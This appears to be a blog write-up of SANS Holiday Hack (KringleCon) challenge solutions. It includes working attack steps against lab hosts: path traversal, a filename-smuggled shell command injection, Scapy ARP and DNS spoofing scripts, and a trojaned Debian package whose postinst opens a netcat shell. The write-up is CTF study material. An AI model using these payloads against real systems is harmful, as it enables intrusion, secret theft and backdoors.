WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADgAMgAiACAALQBDAG8AbgBmAGkAcgBtADoAJABmAGEAbABzAGUAIAAtAFQAaQBtAGUAbwB1AHQAUwBlAGMAbwBuAGQAcwAgADMAMAAwACAALQBFAHgAZQBjAHUAdABpAG8AbgBMAG8AZwBQAGEAdABoACAAQwA6AFwAQQB0AG8AbQBpAGMAUgBlAGQAVABlAGEAbQBcAGEAdABjAF8AZQB4AGUAYwB1AHQAaQBvAG4ALgBjAHMAdgA=</Data>

It’s a bit hard to see in there, but the answer is HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography

According to events recorded by the Splunk Attack Range, when was the first OSTAP related atomic test executed? (Please provide the alphanumeric UTC timestamp.)

Alice hints that I should keep this simple, so how about index=attack ostap | sort by _time. The first Execution Time _UTC is the answer: 2020-11-30T17:44:15Z

One Atomic Red Team test executed by the Attack Range makes use of an open source package authored by frgnca on GitHub. According to Sysmon (Event Code 1) events in Splunk, what was the ProcessId associated with the first use of this component?

Searching for frgnca in Splunk, the Atomic Red Team GitHub, or GitHub generally doesn’t seem to find anything useful. But if I look through their repos, I can see ubuntu (which also doesn’t find anything) and AudioDeviceCommandlets which is mentioned on the Atomic Red Team Github.

Searching for that commandlet in the t1123-* indices and sorting by reverse puts the event I’m looking at first. It’s possible to then manually grab the process_id from there, and then convert it from hex, or I can make Splunk just show the answer by using: index="t1123-*" WindowsAudioDevice-Powershell-Cmdlet | reverse | head 1 | eval answer = tonumber(process_id, 16) | table answer. So the answer is 3648

Alice ran a simulation of an attacker abusing Windows registry run keys. This technique leveraged a multi-line batch file that was also used by a few other techniques. What is the final command of this multi-line batch file used as part of this simulation?

Searching for “registry run keys” in the Github repo suggests this relates to T1547.001. A search for just that (index="t1547.001*" *.bat*) shows that that the file was downloaded from https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat so the answer is quser

According to x509 certificate events captured by Zeek (formerly Bro), what is the serial number of the TLS certificate assigned to the Windows domain controller in the attack range?

Alice gives the hint to start with index=* sourcetype=bro* so then it’s just a case of filtering to the certificate where the subject is the domain controller: "certificate.subject"="CN=win-dc-748.attackrange.local" (which is easy enough to find by looking at Splunk’s “all fields” pop up). This shows the answer is 55FCEEBB21270D9249E86F4B9DC7AA60.

What is the name of the adversary group that Santa feared would attack KringleCon?

This last one is encrypted using your favorite phrase! The base64 encoded ciphertext is:

7FXjP1lyfKbyDK/MChyf36h7

It’s encrypted with an old algorithm that uses a key. We don’t care about RFC 7465 up here! I leave it to the elves to determine which one!

I can’t believe the Splunk folks put it in their talk!

Alice

RFC 7465 is banning RC4 ciphers, so now I just need the key… I thought about trying to find more RC4 encoded data in Splunk to crack it, but watching the talk seems far easier (and probably more interesting!). At the end, there’s a photo of Santa saying “Stay Frosty” and a spoken “Ho Ho Ho Ho”, so either of those seem likely. After fiddling around with various cases / punctuation for Ho Ho Ho Ho, I finally found the key was actually just Stay Frosty:

So the answer to Objective 6 (without more Splunk searching?) is The Lollipop Guild


Before moving on from Splunk, I think it’s worth seeing if there’s any secrets hidden in our account (Kris Kringle), but I don’t seem to have any messages, triggered alerts or interesting settings. Only a rather cute error message when I try to view jobs:

While wandering around the con as pretend-Santa, a couple of interesting things happened: Sans offered to waive application fees with the code SantaGoesToCollege, and Ribb Bonbowford gave me shit for writing vulnerable code (everyone makes mistakes sometimes, Ribb!). But that does remind me that I can now use the fingerprint scanner in the Santavator to get to Santa’s office.

Up there, Tinsel Upatree informs me that something is wrong with the Naughty/Nice list since it’s showing Jack Frost as the nicest; he seems to have had an unbelievable jump in points back in March.

I assume it might be helpful to do the objectives in order, so instead of looking at that now, I’ll go back to the Netwars room to work on:

Objective 7: Solve the Sleigh’s Can-D-Bus Problem

I started by filtering out pretty much everything so that I could actually see what happened when I changed the controls. This gave me the following associations:

Start  =  02A#00FF00
Stop   =  02A#0000FF
Lock   =  19B#0000000F2057
Unlock =  19B#00000F000000
Accel  = 244
Brake  = 080
Steer  = 019

The locks are being messed with by adding 19B 0000000F2057 so that should be simply filtered out, using the equals operator. The breaks were a bit harder since the values change, but eventually it became clear that they seem to have legal values in the range of 0-100ish, so filtering out anything with FF was the easiest solution.


Next step is the wrapping room to see Noel Boetie!

Objective 8: Broken Tag Generator

https://tag-generator.kringlecastle.com/ is broken, so I need to get the GREETZ environment variable.

Originally, I wondered if I could inject Ruby templating code into the uploaded image, but it wasn’t evaluated in jpeg files, the png files seemed to fail to upload (an ID was generated but never found when browsing to it), and erb files caused a Server error.

Fortunately, there is a path traversal vulnerability in /image?id so I can get /etc/passwd

and, using same approach but setting id to ../../../app/lib/app.rb, the source code since the location is disclosed in 404 pages:

HTTP/1.1 200 OK
Server: nginx/1.14.2
Date: Mon, 28 Dec 2020 05:55:51 GMT
Content-Type: image/jpeg
Content-Length: 4886
Connection: close
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=15552000; includeSubDomains
X-XSS-Protection: 1; mode=block
X-Robots-Tag: none
X-Download-Options: noopen
X-Permitted-Cross-Domain-Policies: none

# encoding: ASCII-8BIT

TMP_FOLDER = '/tmp'
FINAL_FOLDER = '/tmp'

# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDER

require 'rubygems'

require 'json'
require 'sinatra'
require 'sinatra/base'
require 'singlogger'
require 'securerandom'

require 'zip'
require 'sinatra/cookies'
require 'cgi'

require 'digest/sha1'

LOGGER = ::SingLogger.instance()

MAX_SIZE = 1024**2*5 # 5mb

# Manually escaping is annoying, but Sinatra is lightweight and doesn't have
# stuff like this built in 😦
def h(html)
  CGI.escapeHTML html
end

def handle_zip(filename)
  LOGGER.debug("Processing #{ filename } as a zip")
  out_files = []

  Zip::File.open(filename) do |zip_file|
    # Handle entries one by one
    zip_file.each do |entry|
      LOGGER.debug("Extracting #{entry.name}")

      if entry.size > MAX_SIZE
        raise 'File too large when extracted'
      end

      if entry.name().end_with?('zip')
        raise 'Nested zip files are not supported!'
      end

      # I wonder what this will do? --Jack
      # if entry.name !~ /^[a-zA-Z0-9._-]+$/
      #   raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
      # end

      # We want to extract into TMP_FOLDER
      out_file = "#{ TMP_FOLDER }/#{ entry.name }"

      # Extract to file or directory based on name in the archive
      entry.extract(out_file) {
        # If the file exists, simply overwrite
        true
      }

      # Process it
      out_files << process_file(out_file)
    end
  end

  return out_files
end

def handle_image(filename)
  out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
  out_path = "#{ FINAL_FOLDER }/#{ out_filename }"

  # Resize and compress in the background
  Thread.new do
    if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
      LOGGER.error("Something went wrong with file conversion: #{ filename }")
    else
      LOGGER.debug("File successfully converted: #{ filename }")
    end
  end

  # Return just the filename - we can figure that out later
  return out_filename
end

def process_file(filename)
  out_files = []

  if filename.downcase.end_with?('zip')
    # Append the list returned by handle_zip
    out_files += handle_zip(filename)
  elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
    # Append the name returned by handle_image
    out_files << handle_image(filename)
  else
    raise "Unsupported file type: #{ filename }"
  end

  return out_files
end

def process_files(files)
  return files.map { |f| process_file(f) }.flatten()
end

module TagGenerator
  class Server < Sinatra::Base
    helpers Sinatra::Cookies

    def initialize(*args)
      super(*args)
    end

    configure do
      if(defined?(PARAMS))
        set :port, PARAMS[:port]
        set :bind, PARAMS[:host]
      end

      set :raise_errors, false
      set :show_exceptions, false
    end

    error do
      return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" })
    end

    not_found do
      return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" })
    end

    get '/' do
      erb(:index)
    end

    post '/upload' do
      images = []
      images += process_files(params['my_file'].map { |p| p['tempfile'].path })
      images.sort!()
      images.uniq!()

      content_type :json
      images.to_json
    end

    get '/clear' do
      cookies.delete(:images)

      redirect '/'
    end

    get '/image' do
      if !params['id']
        raise 'ID is missing!'
      end

      # Validation is boring! --Jack
      # if params['id'] !~ /^[a-zA-Z0-9._-]+$/
      #   return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
      # end

      content_type 'image/jpeg'

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }"

      if File.exists?(filename)
        return File.read(filename)
      else
        return 404, "Image not found!"
      end
    end

    get '/share' do
      if !params['id']
        raise 'ID is missing!'
      end

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png"

      if File.exists?(filename)
        erb(:share, :locals => { id: params['id'] })
      else
        return 404, "Image not found!"
      end
    end

    post '/save' do
      payload = params
      payload = JSON.parse(request.body.read)

      data_url = payload['dataURL']
      png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1])

      out_hash = Digest::SHA1.hexdigest png
      out_filename = "#{ out_hash }.png"
      out_path = "#{ FINAL_FOLDER }/#{ out_filename }"
      
      LOGGER.debug("output: #{out_path}")
      File.open(out_path, 'wb') { |f| f.write(png) }
      { id: out_hash }.to_json
    end
  end
end

The zip functionality allows for arbitrary file upload, but the web service doesn’t have write access to /app or /app/lib so I couldn’t put any ruby or erb files anywhere useful. It also looked like there might be a vulnerability in the /share path, but I was unable to find anything concrete there.

On rereading the code, this line stands out:
if !system("convert -resize 800x600\> -quality 75 '#{ filename }' '#{ out_path }'")

If the filename is something like '; echo $GREETS > /tmp/zysygy.txt; # then I should be able to use the /image functionality to read the variable.
This can’t be used by directly uploading a file, since the filename is mapped to a temporary file name, but unrestricted file upload vulnerability in the zip functionality means I can create an empty file with that name and zip it before uploading it.
MacOS changes / to : in file names, so I used Burp to manually fix those paths

but unfortunately, this seems to fail at the entry.extract line, before the command injection can occur.

Looking at the Singlogger repo, it looks like the logging is just printing to the terminal’s STDERR, so it doesn’t seem like I can get anything from that, and I can’t find a cron binary, so it doesn’t seem like overwriting that will help.
Overwriting the convert binary (found at /usr/bin/convert) would also work since I could make it output the environment variable whenever it’s called, but the webserver doesn’t have permission to write there either.

The /share erb can be found at app/lib/views/share.erb, so I also tried overwriting this, but it returns a permission denied error.

After looking more into the convert function, and determining that it was unfortunately not vulnerable to ImageTragick, I started running app.rb locally, and figured out that my original attempts were failing because:

  • entry.extract uses Ruby’s File.open which fails if the name contains any slashes
fortunately the command is run in the tmp directory, so I can just use the filename
  • Convert has to succeed before the next command will execute; so it needs an existing file (which we can grab by uploading something normal first) and an out file.

So I finally achieved RCE by using:
77b8109b-165c-4838-ba50-21c68421203a.jpg' 'out.jpg'; echo $GREETZ > zysygy.txt; #.jpg
(although the first ID would have to be changed for this to work again)

There’s an easier way if I just want the answer without RCE though: brute force the process ID and read ../../../proc/<id>/environ:


Next up requires heading back to Alabaster Snowball for the ARP (Address Resolution Protocol) challenge:

Objective 9: ARP Shenanigans

The task is to retrieve the document at /NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt to see who removed herself from the vote. (She? maybe the Tooth Fairy…)

Jack Frost has hijacked the host at 10.6.6.35 with some custom malware.
Help the North Pole by getting command line access back to this host.

Read the HELP.md file for information to help you in this endeavor.

Note: The terminal lifetime expires after 30 or more minutes so be 
sure to copy off any essential work you have done as you go.

It seems like the best way to start is just to see what I have access to:

tcpdump -nni eth0 shows 10.6.6.35 is trying to access 10.6.6.53 so I should spoof that. First, I need the mac address of 10.6.6.35 so I can use ping -c 1 10.6.6.35 and then arp -a to see: arp_requester.guestnet0.kringlecastle.com (10.6.6.35) at 4c:24:57:ab:ed:84 [ether] on eth0

#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 ip
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our eth0 mac address
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])

def handle_arp_packets(packet):
    # if arp request, then we need to fill this out to send back our mac as the response
    if ARP in packet and packet[ARP].op == 1:
        ether_resp = Ether(dst="4c:24:57:ab:ed:84", type=0x806, src=macaddr)
        arp_response = ARP(pdst="10.6.6.35")
        arp_response.op = 2 # Reply
        arp_response.plen = 4
        arp_response.hwlen = 6
        arp_response.ptype = 0x0800 # IP protocol
        arp_response.hwtype = 1 # Ethernet


        arp_response.hwsrc = macaddr
        arp_response.psrc = "10.6.6.53"
        arp_response.hwdst = "4c:24:57:ab:ed:84"
        arp_response.pdst = "10.6.6.35"
        response = ether_resp/arp_response
        sendp(response, iface="eth0")

def main():
    # We only want arp requests
    berkeley_packet_filter = "(arp[6:2] = 1)"
    # sniffing for one packet that will be sent to a function, while storing none
    sniff(filter=berkeley_packet_filter, prn=handle_arp_packets, store=0, count=1)
if __name__ == "__main__":
    main()

Running python3 scripts/arp_resp.py while also running the TCP dump shows a DNS request but this is quickly hidden from the screen by more ARP requests. By changing count to 10, I can actually grab a screenshot of the request:

ftp.osuosl.org
#!/usr/bin/python3
from scapy.all import *
import netifaces as ni
import uuid
# Our eth0 IP
ipaddr = ni.ifaddresses('eth0')[ni.AF_INET][0]['addr']
# Our Mac Addr
macaddr = ':'.join(['{:02x}'.format((uuid.getnode() >> i) & 0xff) for i in range(0,8*6,8)][::-1])
# destination ip we arp spoofed
ipaddr_we_arp_spoofed = "10.6.6.53"

def handle_dns_request(packet):
    # Need to change mac addresses, Ip Addresses, and ports below.
    # We also need
    eth = Ether(src=macaddr, dst="4c:24:57:ab:ed:84")   # need to replace mac addresses
    ip  = IP(dst=packet[IP].src, src=packet[IP].dst)                          # need to replace IP addresses
    udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)                             # need to replace ports
    dns = DNS(
        id=packet[DNS].id, qd=packet[DNS].qd, aa = 1, qr=1, an=DNSRR(rrname=packet[DNS].qd.qname,  ttl=10, rdata=ipaddr)
    )
    dns_response = eth / ip / udp / dns
    sendp(dns_response, iface="eth0")

def main():
    berkeley_packet_filter = " and ".join( [
        "udp dst port 53",                              # dns
        "udp[10] & 0x80 = 0",                           # dns request
        "dst host {}".format(ipaddr_we_arp_spoofed),    # destination ip we had spoofed (not our real ip)
        "ether dst host {}".format(macaddr)             # our macaddress since we spoofed the ip to our mac
    ] )
    # sniff the eth0 int without storing packets in memory and stopping after one dns request
    sniff(filter=berkeley_packet_filter, prn=handle_dns_request, store=0, iface="eth0", count=1)

if __name__ == "__main__":
    main()

It took me a while to figure out what was happening after that; despite looking for ftp, the host isn’t connecting via ftp (port 21), but instead port 80. So when ARP and DNS are both being spoofed, I can run a Python server on port 80 (python -m http.server 80) and see that the host is trying to get /pub/jfrost/backdoor/suriv_amd64.deb

So the next step is to create a malicious Debian packet for the host to download. I decided to use netcat, since then I can just have it run nc -lvp 4444 -e /bin/sh to open commandline access on port 4444 on the compromised host.
The hints suggested following the instructions on http://www.wannescolman.be/?p=98 which makes the next steps pretty easy:

~$ cd debs/
~$ dpkg -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb
~$ mkdir work/DEBIAN
~$ ar -x netcat-traditional_1.10-41.1ubuntu1_amd64.deb
~$ xz -d control.tar.xz
~$ tar -xvf control.tar ./control
~$ tar -xvf control.tar ./postinst
~$ mv control work/DEBIAN/
~$ mv postinst work/DEBIAN/
~$ echo "nc -lvp 4444 -e /bin/sh" >> work/DEBIAN/postinst
~$ dpkg-deb --build work
~$ mkdir -p pub/jackfrost/backdoor
~$ cp work.deb pub/jackfrost/backdoor/suriv_amd64.deb
~$ python -m http.server 80

By still running the ARP and DNS spoofing, the host downloads our malicious package so I can then connect to it using nc 10.6.6.35 4444 and ls shows the target file. Running echo "cat NORTH_POLE_Land_Use_Board_Meeting_Minutes.txt" | nc 10.6.6.35 4444 > ans.txt copies the file to our local machine:

NORTH POLE
LAND USE BOARD
MEETING MINUTES
January 20, 2020
Meeting Location: All gathered in North Pole Municipal Building,
1 Santa Claus Ln,
North Pole

Chairman Frost calls meeting to order at 7:30 PM North Pole Standard Time.
Roll call of Board members please:
Chairman Jack Frost – Present
Vice Chairman Mother Nature – Present
Superman – Present
Clarice – Present
Yukon Cornelius – HERE!
Ginger Breaddie – Present
King Moonracer – Present
Mrs. Donner – Present
Tanta Kringle – Present
Charlie In-the-Box – Here
Krampus – Growl
Dolly – Present
Snow Miser – Heya!
Alabaster Snowball – Hello
Queen of the Winter Spirits – Present

ALSO PRESENT:
Kris Kringle
Pepper Minstix
Heat Miser
Father Time

Chairman Frost made the required announcement concerning the Open Public Meetings Act: Adequate notice of this meeting has been made — displayed on the bulletin board next to the Pole, listed on the North Pole community website, and published in the North Pole Times newspaper — for people who are interested in this meeting.

Review minutes for December 2020 meeting. Motion to accept – Mrs. Donner. Second – Superman. Minutes approved.

OLD BUSINESS: No Old Business.

RESOLUTIONS:
The board took up final discussions of the plans presented last year for the expansion of Santa’s Castle to include new courtyard, additional floors, elevator, roughly tripling the size of the current castle. Architect Ms. Pepper reviewed the planned changes and engineering reports. Chairman Frost noted, “These changes will put a heavy toll on the infrastructure of the North Pole.” Mr. Krampus replied, “The infrastructure has already been expanded to handle it quite easily.” Chairman Frost then noted, “But the additional traffic will be a burden on local residents.” Dolly explained traffic projections were all in alignment with existing roadways. Chairman Frost then exclaimed, “But with all the attention focused on Santa and his castle, how will people ever come to refer to the North Pole as ‘The Frostiest Place on Earth?’” Mr. In-the-Box pointed out that new tourist-friendly taglines are always under consideration by the North Pole Chamber of Commerce, and are not a matter for this Board. Mrs. Nature made a motion to approve. Seconded by Mr. Cornelius. Tanta Kringle recused herself from the vote given her adoption of Kris Kringle as a son early in his life.
Approved:
Mother Nature
Superman
Clarice
Yukon Cornelius
Ginger Breaddie
King Moonracer
Mrs. Donner
Charlie In the Box
Krampus
Dolly
Snow Miser
Alabaster Snowball
Queen of the Winter Spirits

Opposed: Jack Frost
Resolution carries. Construction approved.

NEW BUSINESS:
Father Time Castle, new oversized furnace to be installed by Heat Miser Furnace, Inc. Mr. H. Miser described the plan for installing new furnace to replace the faltering one in Mr. Time’s 20,000 sq ft castle. Ms. G. Breaddie pointed out that the proposed new furnace is 900,000,000 BTUs, a figure she considers “incredibly high for a building that size, likely two orders of magnitude too high. Why, it might burn the whole North Pole down!” Mr. H. Miser replied with a laugh, “That’s the whole point!” The board voted unanimously to reject the initial proposal, recommending that Mr. Miser devise a more realistic and safe plan for Mr. Time’s castle heating system.

Motion to adjourn – So moved, Krampus. Second – Clarice. All in favor – aye. None opposed, although Chairman Frost made another note of his strong disagreement with the approval of the Kringle Castle expansion plan. Meeting adjourned.

New lines didn’t copy correctly, so they may be incorrect, and bolding has been added

So the answer is Tanta Kringle

Objective 10: Defeat Fingerprint Sensor

My first thought was to just modify the POST request to change the floor from 2 to 3, but this seems to cause the result
{"type":"DENNIS_NEDRY","scope":"app","target":"app","messages":["Challenge completion failed: HMAC mismatch"]}
The next step is to look at the code; I didn’t want to have to read all of it so I added a breakpoint on all mouse events and clicked on level 3:

hasToken('besanta') looks promising; clicking through to that method shows it’s just checking if ‘besanta’ is in the tokens list, so running tokens.push('besanta'); in the console and then continuing execution is enough to solve this objective.

Objective 11a: Naughty/Nice Investigation with Blockchain Investigation

In naughty_nice.py, I can see that the block’s nonce is created using random.randrange(0xFFFFFFFFFFFFFFFF), so it can be predicted using the Mersenne-Twister from the Snowball Fight. I can replace the main section of the script so that it dumps the nonces:

if __name__ == "__main__":
   with open('official_public.pem', 'rb') as fh:
       official_public_key = RSA.importKey(fh.read())
   c2 = Chain(load=True, filename='blockchain.dat')
   for block in c2.blocks:
       print(block.nonce)

However, it’s not quite as simple as just running the predictor since the nonces are 64-bit rather than 32-bit.
After re-watching Tom Liston’s talk, I noticed his advice to look into how 64-bit numbers are created, which apparently normally isn’t too complicated, so I jumped over to the Python source code, which seems to suggest each 64 bit integer is just two 32-bit integers:

After playing around with separating the numbers without much success, I looked closer at the Mersenne-Twister github readme and noticed I could just write my own program:

from mt19937predictor import MT19937Predictor

predictor = MT19937Predictor()
with open("<path to output from naughty_nice.py>", "r") as fp:
	for line in fp.readlines():
		predictor.setrandbits(int(line), 64)

print(predictor.getrandbits(64)) # Removed last number from the nonces, print it now so I know this is working.
predictor.getrandbits(64) # 12997
predictor.getrandbits(64) # 12998
predictor.getrandbits(64) # 12999
print(hex(predictor.getrandbits(64)))

By removing the final digit from the naughty_nice.py nonces, I could check that this was definitely finding the correct answer, and then it was just a matter of figuring out why I wasn’t answering it right – turns out reading the instructions so I know to give the answer as hex without the 0x prefix for number 13000 not 12997 is pretty useful: 57066318f32f729d

Objective 11b: Naughty/Nice Investigation with Blockchain Investigation

The challenge is to find Jack’s altered block, which has a SHA256 hash of 58a3b9335a6ceb0234c12d35a0564c4e f0e90152d0eb2ce2082383b38028a90f, and recreate the original version by changing the value of only 4 bytes.
So the first step is to find the block, which can be done with the following code:

with open('official_public.pem', 'rb') as fh:
       official_public_key = RSA.importKey(fh.read())
   c2 = Chain(load=True, filename='blockchain.dat')
   for block in c2.blocks:
       hash = SHA256.new(data=block.block_data_signed()).hexdigest()
       if hash == "58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f":
           import pdb; pdb.set_trace()

This shows that the block is at chain Index 129459, with two documents (one binary, the other a corrupted pdf) and a score of 4294967295 nice points for Jack Frost (PID 0000000000012fd1) and an MD5 signature of MJIxJy2iFXJRCN1EwDsqO9NzE2Dq1qlvZuFFlljmQ03+erFpqqgSI1xhfAwlfmI2MqZWXA9RDTVw3+aWPq2S0CKuKvXkDOrX92cPUz5wEMYNfuxrpOFhrK2sks0yeQWPsHFEV4cl6jtkZ//OwdIznTuVgfuA8UDcnqCpzSV9Uu8ugZpAlUY43Y40ecJPFoI/xi+VU4xM0+9vjY0EmQijOj5k89/AbMAD2R3UbFNmmR61w7cVLrDhx3XwTdY2RCc3ovnUYmhgPNnduKIUA/zKbuu95FFi5M2r6c5Mt6F+c9EdLza24xX2J4l3YbmagR/AEBaF9EBMDZ1o5cMTMCtHfw==.

For this to be helpful for Jack Frost, I’d assume he changed the sign and the score, but oddly enough, the PDF doesn’t open in Preview so that seems a bit sus and like an easier place to start.

The PDF in Jack’s block; very believable quotes!

Figuring out the next steps here took me quite a while, but one of the hints for this objective are slides which link to this Github repo with a section on PDFs.

Opening the PDF as a binary file in Visual Studio code shows the Root points to 1, which is “Type/Catalog/_Go_Away/Santa/Pages”, so I assumed that was just added as padding to make the MD5 hash work and spent a while trying to get the PDF to work with Root pointing to another object, before noticing that Root always needs to point to a Pages block, and that actually, I just need to change that Pages block so that it points to object 3 rather than 2.

The actual PDF intended for the block – as a Kiwi, I’m impressed with the accurate Aussie slang and can just hear the accent!

After another short rabbit hole (thanks to the folk on Discord) of trying to figure out how to fix the PDF’s spelling of “Sydney” (sometimes it’s not helpful to live in the Southern Hemisphere), I stumbled across a helpful slide from the hints:

https://speakerdeck.com/ange/colltris?slide=109

So to fix the PDF, I had to add 1 to the page number; presumably then I need to subtract 1 from the same character of the second block

The yellow blocks were originally 32 and 1C

I can then actually update the block to have this PDF and check that the MD5 is still correct:

class Block():
       # Existing code

       def hash_only(self):
           hash_obj = MD5.new()
           hash_obj.update(self.block_data())
           return hash_obj.hexdigest()

for block in c2.blocks:
       hash = SHA256.new(data=block.block_data_signed()).hexdigest()
       if hash == "58a3b9335a6ceb0234c12d35a0564c4ef0e90152d0eb2ce2082383b38028a90f":
           old = block.hash
           with open('new.pdf', 'rb') as fp:
               block.data[1]['data'] = fp.read()

           assert block.hash_only() == old

Of course, this doesn’t mean the original block has been restored; the PDF makes it clear that Shinny wanted to give Jack naughty points, not nice ones! Although surely not the maximum; the wombat wasn’t actually hurt (it’s not like it exploded, unlike the incidence at 10:23). But there’s only four bytes to change, so I assumed fixing the nice sign would change something in the score.

It took me ages to figure out which other byte to change, assuming it was meant to be the block before since I was subtracting from the sign, but it turns out it doesn’t matter whether you subtract or add in the first block, as long as you do the opposite in the next block. So the easiest way I found to solve this, was to find the index of the block and then dump it (c2.save_a_block(index, 'half.bin')), update the block to have a naughty sign and then dump it again (c2.save_a_block(i, 'sign.bin')).
I then used Visual Studio Code to do a diff and find the relevant bit, and then used the same trick to make sure the MD5 hash still work (trying to use the block above did not work since it changed fields that Jack would not have control of, so instead I had to change the block below since this just altered the bin file).

The top square is the sign

We can then reload the block, with a small gotcha that the load_a_block method doesn’t clear the existing docs, just adds more to them, and then find the answer with:

block.data = []
with open('half.bin', 'rb') as fp:
    block.load_a_block(fp)
print(SHA256.new(data=block.block_data_signed()).hexdigest()) 

And the answer is fff054f33c2134e0230efb29dad515064ac97aa8c68d33c58c01213a0d408afb


Going out to the lobby, Eve Snowshoes asks me to stop being Santa:

And then I am thanked for my help and offered swag (tempting, but I don’t suit unisex shirts 😦 ), except, of course, for Jack Frost who seems to be oddly resigned to prison.

Remaining Mysteries

Pepper Minstix’s Bird

Thanks to the deadline being extended, I had time to go back to check out Pepper’s bird. A reverse image search seemed to suggest it was related to language??? So that wasn’t particularly helpful.
I couldn’t figure out how to resize the terminal (possibly a Mac compatibility issue), but searching for bird found the relevant file at least so I could see the entire thing:

I don’t know if there’s a hidden secret in the ASCII, but trying to Google it led me to this Reddit post with a comment by PockyBird. Coincidence? I think so…

Jack Frost’s Santa Portrait

A reverse image search on the photo only found Ed Skoudis’ tweets about KringleCon, or retweets of his, so that also wasn’t particularly helpful.
Fortunately, a closer look revealed some letters:


NOW I SHALL BE OF SIGHT

How objectives are actually completed

When I was trying to figure out one of the objectives, I noticed my guesses weren’t showing up in my browser’s Network tab. I hunted around to see if the answers were already in the client-side code (surely not?) before realising that it’s just using web sockets. While figuring this out, I did notice some pretty interesting type codes:

Richard F Hall

Santa tells me that they’ve just constructed the castle and there’s a sign out the front saying “Richard F Hall”, which seems to match this website. Whois doesn’t seem to suggest it belongs to Sans, the site appears to have been registered in 2009 and looks pretty legit, and a Google/Facebook search for anything obviously KringleCon-related didn’t find anything, so I’m not sure if it is a mock up as part of KringleCon or a genuine company… Since I don’t know America well, I may be missing some joke or common knowledge, so I won’t look into it too much.

The Talks

Thanks again to all the speakers!

Footnotes

* Turns out, the map actually says exactly what the asterixes mean – the Santavator. I’m so glad there were no map-reading challenges!

The State of My Desktop after a Sans Holiday Hack

I look forward to covering it with screen shots again next year!

Kringlecon 2019

Terminal Challenges

Escape Ed

This challenge just involves quitting ‘ed’; which is given away by the puzzle name. The manual says this can be done using ‘q’ or ‘Q’.

Smart Braces

This challenge involves setting up iptables as described in a text file. I found the following two resources particularly useful:

  • Explain shell lets you enter a command and shows you the description of each argument’s meaning.
  • Howtogeek has an article setting up most of the iptable rules we need.

The rules we want are:
1. Set the default policies to drop for the INPUT, OUTPUT and FORWARD chains

sudo iptables --policy INPUT DROP
sudo iptables --policy OUTPUT DROP
sudo iptables --policy FORWARD DROP

2. Create a rule to ACCEPT all connections that are ESTABLISHED, RELATED on the INPUT and OUTPUT chains.

sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on port 22).

sudo iptables -A INPUT -p tcp --dport 22 -s 172.19.0.225 -j ACCEPT

4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80.

sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT

5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80.

sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT

6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.

sudo iptables -A INPUT -i lo -j ACCEPT

Linux Path challenge

This challenge just involves the wrong ls executable being used. We know the proper ls is in /usr/bin (which we can check using the ‘find’ command), so let’s just update the path to make sure it looks there first.

Nyanshell

Someone has switched alabaster_snowball’s terminal into an unusable (but awesome) nyancat terminal

so we’re meant to help him get back to regular bash. His hints suggest we should try sudo -l which show that we can use the chattr command with root privileges but no password.

Figuring out what to actually use that on took me a while; there’s no apparent way to use it to allow us to add write permissions to /etc/passwd, and I think that’s the only way to change Alabaster’s default shell. Trying to specify the shell when running su (eg using -m or --shell=) doesn’t work either.

Eventually it occurred to me that I could just overwrite nsh with bash. RIP cool nyanshell 😦

Mongo Pilfer

This is a reasonably simple challenge; we just need to connect to MongoDB, read the databases, look at the collections and then reveal the answer. There’s a slight hitch since MongoDB isn’t running on the default port, but netstat can be used to find the correct one:

Then I just needed to use mongo --port (and not mongodb, oops!) and follow the help it provides to navigate through the database:

Xmas Cheer Laser challenge

We can start by looking at the note suggested:

Get-Content /home/callingcard.txt

What’s become of your dear laser?
Fa la la la la, la la la la
Seems you can’t now seem to raise her!
Fa la la la la, la la la la
Could commands hold riddles in hist’ry?
Fa la la la la, la la la la
Nay! You’ll ever suffer myst’ry!
